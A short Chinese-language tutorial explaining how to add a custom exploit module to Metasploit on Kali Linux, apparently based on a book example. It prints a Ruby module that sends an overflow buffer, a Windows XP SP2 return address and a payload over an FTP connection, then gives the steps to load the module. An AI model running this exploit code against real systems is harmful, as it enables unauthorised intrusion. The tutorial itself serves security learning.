给kali的Metasploit下添加一个新的exploit

• 首先在/usr/share/metasploit-framework/modules/exploits/目录下新建一个自定义文件夹，例如fwdtest

• 仿造exploits目录下的其他exp(rb文件)编写自己的exp.rb脚本(这边用0day安全:软件漏洞分析技术里的一个栗子)

root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# ls
0day1.rb
root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# cat 0day1.rb
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Ftp
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'security test',
      'Description'    => %q{
          This module exploits a buffer overflow.
      },
      'Author'         => 'fwd',
      'License'        => MSF_LICENSE,
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 300,
          'BadChars' => "\x00",
        },
      'Platform' 		  => 'win',
      'Targets'        =>
        [
          [ 'Windows XP Pro SP2 English',           { 'Ret' => 0x7c809f83 } ],
        ]))
  end

  def exploit
    connect
    attack_buf =  'a'*200
    attack_buf += [target.ret].pack('V')
    attack_buf += payload.encoded
    sock.put(attack_buf)
    handler
    disconnect
  end
end
root@kali:/usr/share/metasploit-framework/modules/exploits/fwdtest# 

• 在控制台下启动metasploit

• 在msf提示符下输入reload_all重新加载所有模块

• 在msf提示符下输入use exploit/fwdtest/exp(输入的时候可以用tab补全，如果不能补全说明就有问题)